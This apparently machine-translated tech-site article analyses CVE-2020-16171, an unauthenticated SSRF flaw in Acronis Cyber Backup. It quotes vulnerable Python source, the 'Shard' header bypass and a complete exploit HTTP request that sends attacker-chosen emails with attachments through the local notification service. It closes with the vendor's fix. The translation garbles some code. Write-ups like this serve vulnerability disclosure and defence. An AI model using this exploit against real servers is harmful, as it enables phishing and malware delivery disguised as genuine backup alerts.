In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-22 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
SSRF vulnerability analysis in CVE-2020-16171:Acronis Cyber Backup, aiming at this problem, this article introduces the corresponding analysis and solution in detail, hoping to help more partners who want to solve this problem to find a more simple and feasible method.
Words written in the front
In this article, we will introduce an unauthenticated SSRF vulnerability in Acronis Cyber Backup (the affected version is v12.5 Build 16341 and earlier), which will allow an attacker to take advantage of the Web service bound to localhost to send custom emails to arbitrary target users. What's interesting about this vulnerability is that an attacker will be able to use it to send custom emails as backup identifiers, which can also contain fully customized attachments. You can imagine what would happen if we could send an Acronis "backup failed" email to the entire organization and embed a back door in it.
Analysis of the causes of loopholes
Acronis Cyber Backup is essentially a data backup solution that provides a powerful way for system administrators to automatically back up all connected systems, such as clients and servers. The solution itself consists of dozens of internally connected Web services and functional components. Therefore, this solution is essentially a solution made up of different C _ Go applications, Python applications, and code bases.
The application's main Web service runs on port 9877, after which a login interface is displayed:
There is no doubt that the goal of every attacker is to find some sensitive data that can be found without authentication. Therefore, we need to analyze the source code of the main Web service. In fact, I discovered a method called make_request_to_ams in a short time:
# WebServer/wcs/web/temp_ams_proxy.py: def make_request_to_ams (resource, method, data=None): port = config.CONFIG.get ('default_ams_port',' 9892') uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource) [...]
The most interesting thing here is this call to get_ams_address (request.headers), which is mainly used to build URI. Here, the application will read a specific request Header called Shard in the method:
Def get_ams_address (headers): if 'Shard' in headers: logging.debug (' Get_ams_address address from shard ams_host=%s', headers.get ('Shard')) return headers.get (' Shard') # Mobile agent > = ABC5.0
After an in-depth analysis of the make_request_to_ams call, we find that the application calls urllib.request.urlopen and reads the value in the Shard header:
Def make_request_to_ams (resource, method, data=None): [...] Logging.debug ('Making request to AMS% s% slots, method, uri) headers= dict (request.headers) del headers [' Content-Length'] if not data is None: headers ['Content-Type'] =' application/json' req = urllib.request.Request (uri, headers=headers, method=method) Data=data) resp = None try: resp = urllib.request.urlopen (req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT) except Exception as e: logging.error ('Cannot access ams {}, error: {}' .format (method, resource, e)) return resp
In this way, this is clearly a SSRF vulnerability, and there are several factors that make this SSRF vulnerability even more serious:
The initialization of the request.Request class uses all the original request Header, the HTTP method in the request, and the entire request body.
The complete response information will be returned.
Here, the only thing that needs to be bypassed is the hard-coded construct of the destination URI, because the API appends the semicolon, port, and other resources to the requested URI:
Uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
But don't worry, it's easy to bypass, because we just need to add a "?" To convert them to parameters. The final Payload for Shard headers is as follows:
Shard: localhost? Find unauthenticated path
To exploit this SSRF vulnerability, we need to find a path that can be accessed without authentication. Although most paths to CyberBackup can only be accessed through authentication, an interesting path here is / api/ams/agents, which is a little different:
# WebServer/wcs/web/temp_ams_proxy.py:_AMS_ADD_DEVICES_ROUTES = [(['POST'],' / api/ams/agents'),] + AMS_PUBLIC_ROUTES
All requests for this path are passed to the route_add_devices_request_to_ams method:
Def setup_ams_routes (app): [...] For methods, uri, * dummy in _ AMS_ADD_DEVICES_ROUTES: app.add_url_rule (uri, methods=methods, view_func=_route_add_devices_request_to_ams) [...]
In this way, the program will only check before passing the request to the vulnerable _ route_the_request_to_ams method
Whether allow_add_devices configuration is enabled: def _ route_add_devices_request_to_ams (* dummy_args, * * dummy_kwargs): if not config.CONFIG.get ('allow_add_devices', True): raise exceptions.operation_forbidden_error (' Add devices') return _ route_the_request_to_ams (* dummy_args, * * dummy_kwargs)
In this way, we have successfully found an unauthenticated exploitable path.
Send a custom message with attachments
One of the interesting Web services runs on localhost:30572, the notification service. This service provides a variety of ways to send notifications, one of which is / external_email/:
Route (r'^ / external_email/?') class ExternalEmailHandler (RESTHandler): @ schematic_request (input=ExternalEmailValidator (), deserialize=True) async def post (self): try: error = await send_external_email (self.json ['tenantId'], self.json [' eventLevel'], self.json ['template'], self.json [' parameters'], self.json.get ('images', {}) Self.json.get ('attachments', {}), self.json.get (' mainRecipients', []), self.json.get ('additionalRecipients', []) if error: raise HTTPError (http.BAD_REQUEST, reason=error.replace ('\ nails,') except RuntimeError as e: raise HTTPError (http.BAD_REQUEST, reason=str (e))
Let's not analyze the send_external_email method in detail here, because it is a bit complex, but the parameters used by this node are provided through the HTTP POST method and used to build the e-mail that needs to be sent later.
The final exploit code is as follows: POST / api/ams/agents HTTP/1.1Host: 10.211.55.10:9877Shard: localhost:30572/external_email?Connection: closeContent-Length: 719Content-Type: application/json Charset=UTF-8 {"tenantId": "00000000-0000-0000-0000-000000000000", "template": "true_image_backup", "parameters": {"what_to_backup": "what_to_backup", "duration": 2, "timezone": 1, "start_time": 1, "finish_time": 1, "backup_size": 1, "quota_servers": 1, "usage_vms": 1, "quota_vms": 1, "subject_status": "subject_status" Machine_name: "machine_name", "plan_name": "plan_name", "subject_hierarchy_name": "subject_hierarchy_name", "subject_login": "subject_login", "ams_machine_name": "ams_machine_name", "machine_name": "machine_name", "status": "status", "support_url": "support_url"}, "images": {"test": ". / critical-alert.png"} "attachments": {"test.html": "PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="}, "mainRecipients": ["info@somerandomemail.com"]}
It contains custom configurations for e-mail, such as attachments values encoded by Base64. Sending this POST request will return null:
However, after the email containing attachments is finally sent to mainRecipients, the interface is as follows:
It worked!
Vulnerability repair
Acronis fixed this vulnerability in Acronis Cyber Backup v12.5 Build 16342, and Acronis modified the way get_ams_address obtains the actual Shard address, which will now require additional authentication Header (with JWT, passed to a method called resolve_shard_address) to access it.
# WebServer/wcs/web/temp_ams_proxy.py:def get_ams_address (headers): if config.is_msp_environment (): auth = headers.get ('Authorization') _ bearer_prefix =' bearer'_ bearer_prefix_len = len (_ bearer_prefix) jwt = auth [_ bearer_prefix_len:] tenant_id = headers.get Logging.info ('GET_AMS: tenant_id: {}) Jwt: {} '.format (tenant_id, jwt) if tenant_id and jwt: return wcs.web.session.resolve_shard_address (jwt, tenant_id)
The values of tenant_id and jwt are not explicitly validated here, but they are used in a new hard-coded call to the API node / api/account_server/tenants/, and the final authorization verification is completed:
# WebServer/wcs/web/session.py:def resolve_shard_address (jwt, tenant_id): backup_account_server = config.CONFIG ['default_backup_account_server'] url =' {} / api/account_server/tenants/ {} '.format (backup_account_server, tenant_id) headers = {' Authorization': 'Bearer {}' .format (jwt)} from wcs.web.proxy import make_request result = make_request (url) Logging.getLogger (), method='GET', headers=headers) .json () kind = result ['kind'] if kind not in [' unit' 'customer']: raise exceptions.unsupported_tenant_kind (kind) return result [' ams_shard'] the answer to the question on SSRF vulnerability analysis in CVE-2020-16171:Acronis Cyber Backup is shared here. I hope the above content can help you to a certain extent, if you still have a lot of doubts to be solved, you can follow the industry information channel to learn more related knowledge.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.